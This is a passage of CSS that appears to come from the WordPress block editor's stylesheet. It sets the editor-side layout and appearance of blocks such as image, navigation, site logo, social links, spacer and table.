  height:inherit;
  width:inherit;
}

.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
  left:0;
  margin:-1px 0;
  position:absolute;
  right:0;
}
@media (min-width:600px){
  .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
    margin:-1px;
  }
}

[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{
  height:auto;
  width:100%;
}

.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{
  display:table;
}
.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{
  caption-side:bottom;
  display:table-caption;
}

.wp-block[data-align=left]>.wp-block-image{
  margin:.5em 1em .5em 0;
}

.wp-block[data-align=right]>.wp-block-image{
  margin:.5em 0 .5em 1em;
}

.wp-block[data-align=center]>.wp-block-image{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block-image__crop-area{
  max-width:100%;
  overflow:hidden;
  position:relative;
  width:100%;
}
.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{
  border:none;
  border-radius:0;
}

.wp-block-image__crop-icon{
  align-items:center;
  display:flex;
  justify-content:center;
  min-width:48px;
  padding:0 8px;
}
.wp-block-image__crop-icon svg{
  fill:currentColor;
}

.wp-block-image__zoom .components-popover__content{
  min-width:260px;
  overflow:visible !important;
}

.wp-block-image__aspect-ratio{
  align-items:center;
  display:flex;
  height:46px;
  margin-bottom:-8px;
}
.wp-block-image__aspect-ratio .components-button{
  padding-left:0;
  padding-right:0;
  width:36px;
}

.wp-block-image__toolbar_content_textarea{
  width:250px;
}

.wp-block-latest-posts{
  padding-left:2.5em;
}
.wp-block-latest-posts.is-grid{
  padding-left:0;
}
.wp-block-latest-posts>li{
  overflow:hidden;
}

.wp-block-latest-posts li a>div{
  display:inline;
}

.edit-post-visual-editor .wp-block-latest-posts.is-grid li{
  margin-bottom:20px;
}

.editor-latest-posts-image-alignment-control .components-base-control__label{
  display:block;
}
.editor-latest-posts-image-alignment-control .components-toolbar{
  border-radius:2px;
}

.wp-block-media-text__media{
  position:relative;
}
.wp-block-media-text__media.is-transient img{
  opacity:.3;
}
.wp-block-media-text__media .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.wp-block-media-text .__resizable_base__{
  grid-column:1 / span 2;
  grid-row:2;
}

.wp-block-media-text .editor-media-container__resizer{
  width:100% !important;
}

.wp-block-media-text.is-image-fill .editor-media-container__resizer{
  height:100% !important;
}

.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{
  max-width:unset;
}

.block-editor-block-list__block[data-type="core/more"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-more{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-more input[type=text]{
  background:#fff;
  border:none;
  border-radius:4px;
  box-shadow:none;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  margin:0;
  max-width:100%;
  padding:6px 8px;
  position:relative;
  text-align:center;
  text-transform:uppercase;
  white-space:nowrap;
}
.wp-block-more input[type=text]:focus{
  box-shadow:none;
}
.wp-block-more:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}
.editor-styles-wrapper .wp-block-navigation ul{
  margin-bottom:0;
  margin-left:0;
  margin-top:0;
  padding-left:0;
}
.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{
  margin:revert;
}

.wp-block-navigation-item__label{
  display:inline;
}
.wp-block-navigation-item,.wp-block-navigation__container{
  background-color:inherit;
}

.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{
  opacity:0;
  visibility:hidden;
}

.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{
  display:flex;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{
  opacity:1;
  visibility:visible;
}

.is-editing>.wp-block-navigation__container{
  display:flex;
  flex-direction:column;
  opacity:1;
  visibility:visible;
}

.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{
  opacity:1;
  visibility:hidden;
}
.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{
  visibility:visible;
}

.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{
  display:block;
  position:static;
  width:100%;
}
.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{
  background:#1e1e1e;
  border-radius:2px;
  color:#fff;
  margin-left:auto;
  margin-right:0;
  padding:0;
  width:24px;
}

.wp-block-navigation__submenu-container .block-list-appender{
  display:none;
}
.block-library-colors-selector{
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__toggle{
  display:block;
  margin:0 auto;
  padding:3px;
  width:auto;
}
.block-library-colors-selector .block-library-colors-selector__icon-container{
  align-items:center;
  border-radius:4px;
  display:flex;
  height:30px;
  margin:0 auto;
  padding:3px;
  position:relative;
}
.block-library-colors-selector .block-library-colors-selector__state-selection{
  border-radius:11px;
  box-shadow:inset 0 0 0 1px #0003;
  height:22px;
  line-height:20px;
  margin-left:auto;
  margin-right:auto;
  min-height:22px;
  min-width:22px;
  padding:2px;
  width:22px;
}
.block-library-colors-selector .block-library-colors-selector__state-selection>svg{
  min-width:auto !important;
}
.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{
  color:inherit;
}

.block-library-colors-selector__popover .color-palette-controller-container{
  padding:16px;
}
.block-library-colors-selector__popover .components-base-control__label{
  height:20px;
  line-height:20px;
}
.block-library-colors-selector__popover .component-color-indicator{
  float:right;
  margin-top:2px;
}
.block-library-colors-selector__popover .components-panel__body-title{
  display:none;
}

.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{
  background-color:#1e1e1e;
  color:#fff;
}
.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{
  padding:0;
}

.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{
  background-color:initial;
  color:#1e1e1e;
}
@keyframes loadingpulse{
  0%{
    opacity:1;
  }
  50%{
    opacity:.5;
  }
  to{
    opacity:1;
  }
}
.components-placeholder.wp-block-navigation-placeholder{
  background:none;
  box-shadow:none;
  color:inherit;
  min-height:0;
  outline:none;
  padding:0;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{
  font-size:inherit;
}
.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{
  margin-bottom:0;
}
.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{
  color:#1e1e1e;
}

.wp-block-navigation-placeholder__preview{
  align-items:center;
  background:#0000;
  color:currentColor;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  min-width:96px;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{
  display:none;
}
.wp-block-navigation-placeholder__preview:before{
  border:1px dashed;
  border-radius:2px;
  border-radius:inherit;
  bottom:0;
  content:"";
  display:block;
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-navigation-placeholder__preview:before:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-navigation-placeholder__preview>svg{
  fill:currentColor;
}

.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{
  min-height:90px;
}

.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{
  min-height:132px;
}

.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{
  align-items:flex-start;
  flex-direction:row;
  padding:6px 8px;
}

.wp-block-navigation-placeholder__controls{
  background-color:#fff;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  display:none;
  float:left;
  position:relative;
  width:100%;
  z-index:1;
}
.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{
  display:flex;
}
.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{
  display:none;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{
  align-items:flex-start;
  flex-direction:column;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{
  display:none;
}
.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{
  height:36px;
  margin-right:12px;
}

.wp-block-navigation-placeholder__actions__indicator{
  align-items:center;
  display:flex;
  height:36px;
  justify-content:flex-start;
  line-height:0;
  margin-left:4px;
  padding:0 6px 0 0;
}
.wp-block-navigation-placeholder__actions__indicator svg{
  margin-right:4px;
  fill:currentColor;
}

.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{
  flex-direction:row !important;
}

.wp-block-navigation-placeholder__actions{
  align-items:center;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  gap:6px;
  height:100%;
}
.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{
  margin-right:0;
}
.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{
  background-color:#1e1e1e;
  border:0;
  height:100%;
  margin:auto 0;
  max-height:16px;
  min-height:1px;
  min-width:1px;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{
    display:none;
  }
}

.wp-block-navigation__responsive-container.is-menu-open{
  position:fixed;
  top:155px;
}
@media (min-width:782px){
  .wp-block-navigation__responsive-container.is-menu-open{
    left:36px;
    top:93px;
  }
}
@media (min-width:960px){
  .wp-block-navigation__responsive-container.is-menu-open{
    left:160px;
  }
}

@media (min-width:782px){
  .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{
    top:141px;
  }
}

.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:141px;
}

.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{
  right:280px;
}

.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
  left:0;
  top:155px;
}
@media (min-width:782px){
  .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
    top:61px;
  }
  .is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{
    top:109px;
  }
}
.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:109px;
}

body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{
  bottom:0;
  left:0;
  right:0;
  top:0;
}

.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  color:inherit;
  height:auto;
  padding:0;
}

.components-heading.wp-block-navigation-off-canvas-editor__title{
  margin:0;
}

.wp-block-navigation-off-canvas-editor__header{
  margin-bottom:8px;
}

.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{
  margin-top:16px;
}

@keyframes fadein{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.wp-block-navigation__loading-indicator-container{
  padding:8px 12px;
}

.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{
  margin-top:0;
}

@keyframes fadeouthalf{
  0%{
    opacity:1;
  }
  to{
    opacity:.5;
  }
}
.wp-block-navigation-delete-menu-button{
  justify-content:center;
  margin-bottom:16px;
  width:100%;
}

.components-button.is-link.wp-block-navigation-manage-menus-button{
  margin-bottom:16px;
}

.wp-block-navigation__overlay-menu-preview{
  align-items:center;
  background-color:#f0f0f0;
  display:flex;
  height:64px;
  justify-content:space-between;
  margin-bottom:12px;
  padding:0 24px;
  width:100%;
}
.wp-block-navigation__overlay-menu-preview.open{
  background-color:#fff;
  box-shadow:inset 0 0 0 1px #e0e0e0;
  outline:1px solid #0000;
}

.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{
  display:none;
}
.wp-block-navigation__navigation-selector{
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__navigation-selector-button{
  border:1px solid;
  justify-content:space-between;
  width:100%;
}

.wp-block-navigation__navigation-selector-button__icon{
  flex:0 0 auto;
}

.wp-block-navigation__navigation-selector-button__label{
  flex:0 1 auto;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.wp-block-navigation__navigation-selector-button--createnew{
  border:1px solid;
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__responsive-container-open.components-button{
  opacity:1;
}

.wp-block-navigation__menu-inspector-controls{
  overflow-x:auto;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  will-change:transform;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .wp-block-navigation__menu-inspector-controls{
    scrollbar-color:#949494 #0000;
  }
}

.wp-block-navigation__menu-inspector-controls__empty-message{
  margin-left:24px;
}
.wp-block-navigation .block-list-appender{
  position:relative;
}
.wp-block-navigation .has-child{
  cursor:pointer;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{
  z-index:29;
}
.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  min-width:200px !important;
  opacity:1 !important;
  overflow:visible !important;
  visibility:visible !important;
  width:auto !important;
}
.wp-block-navigation-item .wp-block-navigation-item__content{
  cursor:text;
}
.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{
  min-width:20px;
}
.wp-block-navigation-item .block-list-appender{
  margin:16px auto 16px 16px;
}

.wp-block-navigation-link__invalid-item{
  color:#000;
}
.wp-block-navigation-link__placeholder{
  background-image:none !important;
  box-shadow:none !important;
  position:relative;
  text-decoration:none !important;
}
.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{
  --wp-underline-color:var(--wp-admin-theme-color);
  background-image:linear-gradient(45deg, #0000 20%, var(--wp-underline-color) 30%, var(--wp-underline-color) 36%, #0000 46%), linear-gradient(135deg, #0000 54%, var(--wp-underline-color) 64%, var(--wp-underline-color) 70%, #0000 80%);
  background-position:0 100%;
  background-repeat:repeat-x;
  background-size:6px 3px;
  padding-bottom:.1em;
}
.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{
  --wp-underline-color:#fff;
}
.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{
  cursor:pointer;
}
.link-control-transform{
  border-top:1px solid #ccc;
  padding:0 16px 8px;
}

.link-control-transform__subheading{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}

.link-control-transform__items{
  display:flex;
  justify-content:space-between;
}

.link-control-transform__item{
  flex-basis:33%;
  flex-direction:column;
  gap:8px;
  height:auto;
}

.wp-block-navigation-submenu{
  display:block;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  left:-1px;
  min-width:200px !important;
  opacity:1 !important;
  position:absolute;
  top:100%;
  visibility:visible !important;
  width:auto !important;
}
@media (min-width:782px){
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    top:-1px;
  }
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    position:absolute;
    right:100%;
    width:.5em;
  }
}

.block-editor-block-list__block[data-type="core/nextpage"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-nextpage{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-nextpage>span{
  background:#fff;
  border-radius:4px;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  padding:6px 8px;
  position:relative;
  text-transform:uppercase;
}
.wp-block-nextpage:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}

.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{
  background-color:inherit;
}
.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{
  display:contents;
  flex:1;
}
.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{
  flex:inherit;
}

.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{
  display:block;
}

.wp-block-pages-list__item__link{
  pointer-events:none;
}

@media (min-width:600px){
  .wp-block-page-list-modal{
    max-width:480px;
  }
}

.wp-block-page-list-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}

.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  visibility:visible;
  width:auto;
}

.wp-block-page-list__loading-indicator-container{
  padding:8px 12px;
}

.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{
  min-height:auto !important;
}

.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{
  opacity:1;
}

.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{
  opacity:0;
}

.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}

.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{
  display:inline;
}

.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:32px;
}
.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote .wp-block-pullquote__citation{
  color:inherit;
}

.wp-block-rss li a>div{
  display:inline;
}

.wp-block-rss__placeholder-form>*{
  margin-bottom:8px;
}
@media (min-width:782px){
  .wp-block-rss__placeholder-form>*{
    margin-bottom:0;
  }
}
.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{
  flex:1;
  min-width:80%;
}

.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block-search .wp-block-search__button{
  align-items:center;
  border-radius:initial;
  display:flex;
  height:auto;
  justify-content:center;
  text-align:center;
}
.wp-block-search__components-button-group{
  margin-top:10px;
}

.block-editor-block-list__block[data-type="core/separator"]{
  padding-bottom:.1px;
  padding-top:.1px;
}
.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{
  background:none !important;
  border:none;
}

[data-type="core/shortcode"].components-placeholder{
  min-height:0;
}

.blocks-shortcode__textarea{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
  resize:none;
}
@media (min-width:600px){
  .blocks-shortcode__textarea{
    font-size:13px !important;
  }
}
.blocks-shortcode__textarea:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}

.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{
  display:table;
  margin-left:auto;
  margin-right:auto;
}

.wp-block-site-logo a{
  pointer-events:none;
}
.wp-block-site-logo .custom-logo-link{
  cursor:inherit;
}
.wp-block-site-logo .custom-logo-link:focus{
  box-shadow:none;
}
.wp-block-site-logo .custom-logo-link.is-transient img{
  opacity:.3;
}
.wp-block-site-logo img{
  display:block;
  height:auto;
  max-width:100%;
}

.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{
  height:60px;
  width:60px;
}
.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{
  border-radius:inherit;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder{
  align-items:center;
  border-radius:inherit;
  display:flex;
  height:100%;
  justify-content:center;
  min-height:48px;
  min-width:48px;
  padding:0;
  width:100%;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{
  display:none;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{
  color:inherit;
}

.block-library-site-logo__inspector-upload-container{
  position:relative;
}
.block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{
  display:none;
}

.block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{
  box-shadow:inset 0 0 0 1px #ccc;
  color:#1e1e1e;
  display:block;
  height:40px;
  width:100%;
}
.block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}

.block-library-site-logo__inspector-media-replace-container .components-dropdown{
  display:block;
}
.block-library-site-logo__inspector-media-replace-container img{
  aspect-ratio:1;
  border-radius:50% !important;
  box-shadow:inset 0 0 0 1px #0003;
  min-width:20px;
  width:20px;
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{
  display:flex;
  height:40px;
  padding:6px 12px;
}

.wp-block-site-tagline__placeholder,.wp-block-site-title__placeholder{
  border:1px dashed;
  padding:1em 0;
}

.editor-styles-wrapper .wp-block-site-title a{
  color:inherit;
}

.wp-block-social-links .wp-social-link{
  line-height:0;
}
.wp-block-social-links .wp-social-link button{
  color:currentColor;
  font-size:inherit;
  height:auto;
  line-height:0;
  opacity:1;
  padding:.25em;
}

.wp-block-social-links.is-style-pill-shape .wp-social-link button{
  padding-left:.66667em;
  padding-right:.66667em;
}

.wp-block-social-links.is-style-logos-only .wp-social-link button{
  padding:0;
}

.wp-block-social-links div.block-editor-url-input{
  display:inline-block;
  margin-left:8px;
}
.wp-block-social-links.wp-block-social-links{
  background:none;
}

.wp-social-link:hover{
  transform:none;
}

.editor-styles-wrapper .wp-block-social-links{
  padding:0;
}

.wp-block-social-links__social-placeholder{
  display:flex;
  list-style:none;
  opacity:.8;
}
.wp-block-social-links__social-placeholder>.wp-social-link{
  margin-left:0 !important;
  margin-right:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  visibility:hidden;
  width:0 !important;
}
.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{
  display:flex;
}
.wp-block-social-links__social-placeholder .wp-social-link{
  padding:.25em;
}
.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{
  padding-left:.66667em;
  padding-right:.66667em;
}
.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{
  padding:0;
}
.wp-block-social-links__social-placeholder .wp-social-link:before{
  border-radius:50%;
  content:"";
  display:block;
  height:1em;
  width:1em;
}
.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{
  background:currentColor;
}

.wp-block-social-links .wp-block-social-links__social-prompt{
  cursor:default;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:24px;
  list-style:none;
  margin-bottom:auto;
  margin-top:auto;
  min-height:24px;
  order:2;
  padding-right:8px;
}

.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{
  justify-content:center;
}

.block-editor-block-preview__content .components-button:disabled{
  opacity:1;
}

.wp-social-link.wp-social-link__is-incomplete{
  opacity:.5;
}
@media (prefers-reduced-motion:reduce){
  .wp-social-link.wp-social-link__is-incomplete{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{
  opacity:1;
}

.block-editor-block-list__block[data-type="core/spacer"]:before{
  content:"";
  display:block;
  height:100%;
  min-height:8px;
  min-width:8px;
  position:absolute;
  width:100%;
  z-index:1;
}

.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#0000001a;
}
.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#ffffff26;
}

.block-library-spacer__resize-container{
  clear:both;
}
.block-library-spacer__resize-container:not(.is-resizing){
  height:100% !important;
  width:100% !important;
}
.block-library-spacer__resize-container .components-resizable-box__handle:before{
  content:none;
}
.block-library-spacer__resize-container.resize-horizontal{
  height:100% !important;
  margin-bottom:0;
}

.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{
  width:auto;
}
.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{
  word-break:break-word;
}
.wp-block[data-align=center]>.wp-block-table{
  text-align:initial;
}
.wp-block[data-align=center]>.wp-block-table table{
  margin:0 auto;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table td.is-selected,.wp-block-table th.is-selected{
  border-color:var(--wp-admin-theme-color);
  border-style:double;
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{
  border:1px solid;
}

